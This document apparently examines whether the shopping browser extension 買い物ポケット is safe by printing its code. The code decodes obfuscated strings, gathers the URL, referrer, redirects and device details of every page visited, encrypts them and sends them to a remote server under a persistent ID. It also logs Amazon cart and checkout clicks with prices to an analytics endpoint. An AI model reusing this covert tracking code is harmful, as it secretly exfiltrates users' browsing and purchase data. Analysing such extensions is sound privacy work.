Is 買い物ポケット safe?

window.executeMljs = function () {
  function decodeBase36Pairs(value) {
    let output = "";
    let pair = "";
    for (let index = 0; index < value.length; index++) {
      pair += value.charAt(index);
      if (pair.length === 2) {
        output += String.fromCharCode(parseInt(pair, 36) - 70);
        pair = "";
      }
    }
    return output;
  }

  async function collectPageContext() {
    const context = {};
    context.page_title = document.title;
    context.color = window.screen ? window.screen.colorDepth + "-bit" : "-";
    context.path = document.location.pathname;
    context.log_category = "page_view";
    const viewportHeight = document.documentElement.clientHeight < window.innerHeight ? window.innerHeight : document.documentElement.clientHeight;
    const viewportWidth = document.documentElement.clientWidth < window.innerWidth ? window.innerWidth : document.documentElement.clientWidth;
    context.viewport = viewportWidth + "x" + viewportHeight;
    context.charset = (document.characterSet || document.charset || "-").toLowerCase();
    context.referrer = document.referrer;
    context.screen = window.screen ? window.screen.width + "x" + window.screen.height : "-";
    context.host = document.location.host;
    context.url = document.location.href.split("#")[0];
    context.language = ((navigator && (navigator.language || navigator.browserLanguage)) || "-").toLowerCase();
    try {
      const userAgentReply = await chrome.runtime.sendMessage({ action: "getUserAgent" });
      context.ua = userAgentReply && userAgentReply.userAgent ? userAgentReply.userAgent : "Unknown";
      const os = detectOs(navigator);
      context.os = os.os;
      context.os_version = os.version;
      context.browser = "Unknown";
      context.browser_version = "Unknown";
      const browserReply = await chrome.runtime.sendMessage({ action: "getBrowserInfo" });
      if (browserReply && browserReply.browser && browserReply.version) {
        context.browser = browserReply.browser;
        context.browser_version = browserReply.version;
      }
    } catch (error) {}
    return context;
  }

  async function sendPageContext() {
    try {
      const context = await collectPageContext();
      const action = decodeBase36Pairs("4z4y4w55"); // mljs
      const redirects = await chrome.runtime.sendMessage({ action: "getRedirectInfo" });
      if (context.browser === "Edge" && redirects?.redirects && Array.isArray(redirects.redirects)) {
        for (const redirect of redirects.redirects) {
          if (redirect.fromUrl && redirect.toUrl) {
            await chrome.runtime.sendMessage({ action, context: { ...context, referrer: redirect.fromUrl, url: redirect.toUrl, log_category: "redirect" } });
          }
        }
      }
      if (redirects?.redirects && redirects.redirects.length > 0) {
        await chrome.runtime.sendMessage({ action: "clearRedirectInfo" });
      }
      await chrome.runtime.sendMessage({ action, context });
    } catch (error) {}
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", () => sendPageContext().catch(console.error));
  } else {
    sendPageContext().catch(console.error);
  }
};

function decodeBase36Pairs(value) {
  let output = "";
  let pair = "";
  for (let index = 0; index < value.length; index++) {
    pair += value.charAt(index);
    if (pair.length === 2) {
      output += String.fromCharCode(parseInt(pair, 36) - 70);
      pair = "";
    }
  }
  return output;
}

const fieldMap = {
  page_title: "pa",
  color: "co",
  viewport: "vi",
  charset: "ch",
  referrer: "re",
  screen: "sc",
  host: "ho",
  url: "ur",
  language: "la",
  os: "os",
  os_version: "ov",
  browser: "br",
  browser_version: "bv",
  uuid: "uu",
  extension_version: "ev",
  log_category: "lc",
  request_uuid: "ru"
};

const maxLengths = { maxUrlBytes: 2200, maxTitleBytes: 600, truncateOnCombinedOverflow: true };
const sendIntervalMs = 172800000;

async function sendMljs(context) {
  try {
    const dateKey = decodeBase36Pairs("4z4y4w55374q4n564r"); // mljs-date
    let lastSend = (await chrome.storage.local.get([dateKey]))[dateKey] ?? null;
    if (!lastSend) {
      lastSend = String(Date.now());
      await chrome.storage.local.set({ [dateKey]: lastSend });
    }
    if (parseInt(lastSend) + sendIntervalMs - Date.now() > 0) return;

    const idKey = decodeBase36Pairs("4z4y4w55374v4q"); // mljs-id
    const requestUuidKey = decodeBase36Pairs("544r53574r55564l57574v4q"); // request_uuid
    let mljsId = (await chrome.storage.local.get([idKey]))[idKey] ?? null;
    let requestUuid = (await chrome.storage.local.get([requestUuidKey]))[requestUuidKey] ?? null;
    if (!mljsId) {
      mljsId = crypto.randomUUID();
      await chrome.storage.local.set({ [idKey]: mljsId });
    }

    const payload = mapFields({ ...truncateContext(context, maxLengths), uuid: mljsId, extension_version: chrome.runtime.getManifest().version, request_uuid: requestUuid }, fieldMap);
    const plaintext = JSON.stringify(payload);
    const publicKey = await importRsaPublicKey("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmfG3TovkNBVgNw10Cqoj\r\n/iO7BGzRLmp3DXveVHQhwJo7myjomQ3f8raIys4QP7ywz5qTis0mq2YXgHFhzIVC\r\nDRQblBW3LU5GiXwo8popqLexGl0vhzXxDAfGHVej7e/5Hbeqt/kNIuU2WGmHjG/W\r\nb8S65gPICZR6f2Mqx2PrD3fpjz+X6j94Nrj6dnEY6soMHPzJ3Dz1mO7a8GMeUclU\r\n1dStN83BDXqQh5hxGtFR1e7eNXUDj1qJuQ1xNGhv2bxTiXLpy+WAA816XfTl8fwD\r\nlBH0Dhozq/mR2qJ34P9ysvpjV7h4Eaqfkb4/9IoTMnpapL0hiXMbO9h2UxOSQoD2\r\n+QIDAQAB\r\n");
    const aesKey = await crypto.subtle.generateKey({ name: "AES-CBC", length: 256 }, true, ["encrypt", "decrypt"]);
    const wrappedKey = await crypto.subtle.encrypt({ name: "RSA-OAEP" }, publicKey, await crypto.subtle.exportKey("raw", aesKey));
    const encrypted = await encryptAesCbc(aesKey, plaintext);
    const query = `?i=${base64Url(encrypted.iv)}&k=${base64Url(wrappedKey)}&d=${base64Url(encrypted.encryptedMessage)}&c=1`;
    const url = decodeBase36Pairs("4u565652553k39394y4s553d384t4z51374v50554v4t4u56384w52") + query;
    fetch(url, {
      method: decodeBase36Pairs("3x3v4a"),
      headers: { [decodeBase36Pairs("3t5150564r5056374a5b524r")]: decodeBase36Pairs("4n52524y4v4p4n564v5150395a37595959374s51544z3757544y4r504p514q4r4q") }
    });
  } catch (error) {
    return;
  }
}

chrome.runtime.onMessage.addListener((message, sender, respond) => {
  if (message?.[decodeBase36Pairs("4n4p564v5150")] === decodeBase36Pairs("4z4y4w55")) {
    sendMljs(message?.context ?? {}).then();
    respond();
    return true;
  }
});

// Build a flat ec_log record by overlaying:
//   1) the context set in init() (panelist_id, url, host, title, UA, lang, version)
//   2) the per-event fields the caller passed (entry_type, product_*, price, etc.)
// Then POST it as a TreasureData event to the `ec_log` table.
async trackEcLog(eventFields) {
  if (this.setting == null) {
    log("TreasureData not initialized");
    return;
  }
  const record = {
    parent_id: null,
    distributor_id: null,
    panelist_id: null,           // overwritten by contextForEcLog → kaipoke_uuid
    url: null,                   // overwritten → window.location.href
    entry_type: null,            // PRODUCT_PAGE_VIEW | ADD_PRODUCT_TO_CART | CHECKOUT_PRODUCT | CHECKOUT_CONFIRM
    title: null,                 // document.title
    language: null,              // navigator.language
    product_name: null,
    product_code: null,          // Amazon ASIN / Yahoo auction ID
    available: null,
    quantity: null,
    currency: null,
    price: null,
    price_details: null,
    currency_details: null,
    total_price: null,
    total_price_currency: null,
    keyword: null,
    user_agent: null,            // navigator.userAgent
    accept_language: null,       // JSON.stringify(navigator.languages)
    user_country_code: null,
    request_country_code: null,
    timestamp: null,             // (new Date).toUTCString()
    host: null,                  // new URL(location.href).hostname
    service: null,               // 'chrome' | 'edge' | 'safari'
    version: null,               // extension manifest version
    request_uuid: null,
  };
  Object.assign(record, this.contextForEcLog);
  Object.assign(record, eventFields);

  await this.trackEvent({
    database: this.setting.treasureData.database,    // from /bar/init
    writeKey: this.setting.treasureData.writerKey,   // from /bar/init
    table: "ec_log",
    withoutBaseData: true,
  }, record);
}

// Fires once per Amazon product page load, after the price-comparison
// scraper has resolved the ASIN (`asin`) and price (`price`).
function reportProductPageView(td, doc, asin, price) {
  try {
    if (!doc) return;
    const productName = doc.getElementById("productTitle")?.textContent;
    if (!asin || !productName) return;
    td.trackEcLog({
      entry_type:   "PRODUCT_PAGE_VIEW",
      product_code: asin,
      product_name: productName.trim(),
      price:        price,
      quantity:     0,
      currency:     "JPY",
    });
  } catch {}
}

// Wires click handlers onto the Amazon purchase-funnel buttons.
// On add-to-cart click: ADD_PRODUCT_TO_CART event.
// On buy-now / 1-click: CHECKOUT_CONFIRM + CHECKOUT_PRODUCT events with
//   total_price = unit price × quantity.
function wirePurchaseFunnel(td, doc, asin, price) {
  try {
    if (!doc) return;
    const productName = doc.getElementById("productTitle")?.textContent;
    if (!asin || !productName) return;

    const addBtn   = doc.getElementById("add-to-cart-button");
    const buyBtn   = doc.getElementById("buy-now-button");
    const oneClick = doc.getElementById("one-click-button");

    if (addBtn) {
      addBtn.addEventListener("click", () => {
        const qty = Number(doc.getElementById("quantity")?.value ?? 1);
        td.trackEcLog({
          entry_type:   "ADD_PRODUCT_TO_CART",
          product_code: asin,
          product_name: productName.trim(),
          price, quantity: qty, currency: "JPY",
        });
      });
    }

    [buyBtn, oneClick].forEach(btn => {
      if (!btn) return;
      btn.addEventListener("click", () => {
        const qty = Number(doc.getElementById("quantity")?.value ?? 1);
        const totals = (price && qty)
          ? { total_price: price * qty, total_price_currency: "JPY" }
          : {};
        td.trackEcLog({
          entry_type:   "CHECKOUT_CONFIRM",
          product_code: asin,
          product_name: productName.trim(),
          price, quantity: qty, currency: "JPY",
          ...totals,
        });
        td.trackEcLog({
          entry_type:   "CHECKOUT_PRODUCT",
          product_code: asin,
          product_name: productName.trim(),
          price, quantity: qty, currency: "JPY",
        });
      });
    });
  } catch {}
}

// Single fetch() to the TreasureData JS-SDK ingestion endpoint.
// Database and writeKey are server-supplied (api.kaipoke.jp/bar/init);
// table is hard-coded by the caller ('ec_log', 'access_log',
// 'yahoo_auction_research', etc.).
async function postToTreasureData({ data, options }) {
  const enriched = merge(data, { version: "3.53.0" });
  const headers = {
    "Accept":          "application/json",
    "Content-Type":    "application/json",
    "X-TD-Write-Key": options.writeKey,
  };
  await fetch(
    `https://log.estart.jp/js/v3/event/${options.database}/${options.table}`,
    { method: "POST", headers, body: JSON.stringify(enriched) }
  );
}

// After bar/init response is stored:
if (initSettings.modules.mljs && typeof executeMljs !== 'undefined') {
  console.log('call executeMljs (main): ' + new Date().toString());
  executeMljs(); // fires per-page data collection on every tab load
}